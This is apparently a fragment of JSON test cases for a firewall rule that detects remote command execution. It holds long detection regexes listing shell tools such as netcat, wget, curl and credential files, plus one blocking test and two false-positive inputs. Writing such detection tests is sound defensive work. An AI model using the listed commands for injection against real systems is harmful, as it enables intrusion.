(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block `strace` prefix" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=hello; time he came" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*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]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:(?:HEAD|POST|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "False positive against \"time\"" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=a hero; more than" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s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|]+/)?[\\\"'\\x5c]*(?:(?:HEAD|POST|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))